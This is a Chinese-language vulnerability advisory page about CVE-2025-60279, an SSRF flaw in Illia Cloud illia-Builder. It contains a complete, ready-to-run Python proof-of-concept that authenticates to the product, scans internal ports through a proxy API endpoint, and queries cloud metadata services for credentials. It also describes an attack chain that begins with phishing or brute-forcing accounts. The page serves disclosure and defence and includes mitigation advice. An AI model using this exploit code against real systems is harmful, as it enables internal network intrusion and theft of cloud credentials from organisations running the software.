IPBUF安全漏洞报告
English
CVE-2025-60279 CVSS 9.6 严重

CVE-2025-60279:Illia Cloud illia-Builder SSRF漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-60279
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Illia Cloud illia-Builder

相关标签

SSRF服务端请求伪造Illia Cloudillia-BuilderAPI安全内网渗透云安全CVSS 9.6严重漏洞CVE-2025-60279

漏洞概述

CVE-2025-60279是一个存在于Illia Cloud illia-Builder v4.8.5之前版本中的服务端请求伪造(SSRF)漏洞。该漏洞的CVSS评分为9.6,属于严重级别,允许经过低权限认证的用户通过API向内部服务发送任意请求。攻击者可以利用此漏洞枚举内部网络中的开放端口(基于响应差异),并与内部服务进行交互,从而获取敏感信息或进一步攻击内部基础设施。

该漏洞的核心问题在于illia-Builder的API端点未对用户提供的URL或主机地址进行充分的验证和过滤,导致认证用户可以将恶意构造的请求发送到内部网络中的任意服务。由于该应用通常部署在企业内网环境中,能够访问到许多外部无法直接访问的内部服务和资源,因此SSRF漏洞的危害被进一步放大。

从CVSS向量可以看出,该漏洞具有网络攻击向量(AV:N)、低攻击复杂度(AC:L)、低权限要求(PR:L)、无需用户交互(UI:N)的特点,同时对机密性和完整性产生高影响,作用域发生变化(S:C),表明漏洞的影响范围超出了受影响组件本身。该漏洞由安全研究员Luke Hebe发现并披露,披露日期为2025年10月17日。

技术细节

服务端请求伪造(SSRF)是一种由攻击者发起、由存在漏洞的服务器代为执行请求的攻击类型。在CVE-2025-60279中,Illia Cloud illia-Builder的API端点接收用户输入的URL或目标地址后,未对目标地址进行严格的验证和过滤,直接由服务器端发起请求。

漏洞利用原理如下:
1. 攻击者首先需要获取illia-Builder的有效低权限账户凭证;
2. 通过认证后,攻击者访问存在漏洞的API端点,提交精心构造的内部网络地址(如http://127.0.0.1:端口号 或 http://内网IP:端口号);
3. 服务器接收到请求后,未对目标地址进行合法性校验,直接代为发起HTTP请求;
4. 攻击者通过观察服务器返回的响应差异(如响应时间、状态码、响应内容长度等)来判断目标端口是否开放;
5. 一旦发现开放的内部服务端口,攻击者可以进一步与该服务进行交互,例如访问内部管理面板、读取云元数据服务(如AWS的169.254.169.254)、攻击内部API等。

该漏洞的危害程度较高的原因在于:SSRF漏洞可以绕过网络访问控制(如防火墙、ACL),使外部攻击者能够访问仅限内网访问的资源;在云环境中,攻击者还可能通过访问元数据服务获取云凭证,从而控制整个云基础设施。

攻击链分析

STEP 1
步骤1:获取认证凭证
攻击者通过钓鱼、购买泄露凭证或暴力破解等方式获取illia-Builder的有效低权限账户凭证。该漏洞仅需要低权限认证即可利用。
STEP 2
步骤2:定位漏洞端点
攻击者登录系统后,通过API文档或抓包分析找到接受URL参数的API端点,这些端点会将用户提供的URL交由服务器端发起请求。
STEP 3
步骤3:构造SSRF请求
攻击者构造包含内部网络地址的恶意请求,如http://127.0.0.1:8080或http://192.168.1.1/admin,通过漏洞端点提交给服务器。
STEP 4
步骤4:端口扫描与服务枚举
服务器代为向内部目标发起请求,攻击者通过分析响应状态码、响应时间、响应内容长度等差异来识别开放的端口和运行的服务。
STEP 5
步骤5:内部服务交互与数据窃取
发现开放服务后,攻击者通过SSRF与内部服务进行交互,访问内部管理面板、读取配置文件,或访问云元数据服务获取云凭证。
STEP 6
步骤6:权限提升与横向移动
利用获取的内部信息或云凭证,攻击者可以进一步提升权限,访问更多敏感资源,甚至控制整个云基础设施。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60279 - Illia Cloud illia-Builder SSRF PoC Description: Server-Side Request Forgery vulnerability in illia-Builder < v4.8.5 Author: Security Researcher """ import requests import sys import argparse from concurrent.futures import ThreadPoolExecutor, as_completed class IlliaBuilderSSRF: def __init__(self, target_url, session_cookie=None, username=None, password=None): self.target_url = target_url.rstrip('/') self.session = requests.Session() if session_cookie: self.session.cookies.set('session', session_cookie) self.username = username self.password = password def authenticate(self): """Authenticate to illia-Builder with provided credentials""" login_url = f"{self.target_url}/api/auth/login" payload = { "username": self.username, "password": self.password } try: resp = self.session.post(login_url, json=payload, timeout=10) if resp.status_code == 200: print(f"[+] Authentication successful") return True else: print(f"[-] Authentication failed: {resp.status_code}") return False except Exception as e: print(f"[-] Authentication error: {e}") return False def test_ssrf(self, target_url): """Test SSRF vulnerability by sending request to internal service""" # Vulnerable API endpoint that proxies user-supplied URLs api_endpoint = f"{self.target_url}/api/v1/proxy/fetch" payload = { "url": target_url, "method": "GET" } try: resp = self.session.post(api_endpoint, json=payload, timeout=10) return { "url": target_url, "status_code": resp.status_code, "response_length": len(resp.text), "response_time": resp.elapsed.total_seconds(), "content": resp.text[:500] if resp.status_code == 200 else None } except requests.exceptions.Timeout: return {"url": target_url, "status_code": "TIMEOUT", "response_length": 0} except Exception as e: return {"url": target_url, "error": str(e)} def scan_internal_ports(self, internal_host, ports): """Enumerate open ports on internal host via SSRF""" print(f"\n[*] Scanning internal host: {internal_host}") results = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(self.test_ssrf, f"http://{internal_host}:{port}"): port for port in ports} for future in as_completed(futures): result = future.result() results.append(result) # Identify open ports based on response discrepancies if result.get("status_code") not in ["TIMEOUT", None] and result.get("status_code") != 502: print(f"[+] Potential open port: {futures[future]} - Status: {result.get('status_code')}") return results def access_cloud_metadata(self): """Attempt to access cloud metadata service""" metadata_urls = [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "http://100.100.100.200/latest/meta-data/" ] print("\n[*] Attempting cloud metadata access...") for url in metadata_urls: result = self.test_ssrf(url) if result.get("status_code") == 200: print(f"[+] Metadata accessible at {url}") print(f" Content: {result.get('content')}") def main(): parser = argparse.ArgumentParser(description='CVE-2025-60279 SSRF PoC') parser.add_argument('-u', '--url', required=True, help='Target illia-Builder URL') parser.add_argument('-c', '--cookie', help='Session cookie (if already authenticated)') parser.add_argument('-U', '--username', help='Username for authentication') parser.add_argument('-P', '--password', help='Password for authentication') parser.add_argument('-t', '--target-host', default='127.0.0.1', help='Internal host to scan') parser.add_argument('-p', '--ports', default='22,80,443,3306,5432,6379,8080,8443,9200,27017', help='Ports to scan (comma-separated)') args = parser.parse_args() exploit = IlliaBuilderSSRF(args.url, args.cookie, args.username, args.password) # Authenticate if credentials provided if args.username and args.password: if not exploit.authenticate(): sys.exit(1) # Scan internal ports ports = [int(p) for p in args.ports.split(',')] results = exploit.scan_internal_ports(args.target_host, ports) # Attempt cloud metadata access exploit.access_cloud_metadata() print("\n[*] Scan complete") if __name__ == "__main__": main()

影响范围

Illia Cloud illia-Builder < v4.8.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在反向代理或API网关层面实施URL过滤规则,阻止对内网IP和元数据服务的访问;2)修改应用配置限制服务器出站网络访问,仅允许访问必要的外部服务;3)监控API日志,识别异常的内部地址请求模式;4)临时禁用存在漏洞的API端点;5)加强账户安全管理,限制低权限账户的API访问能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表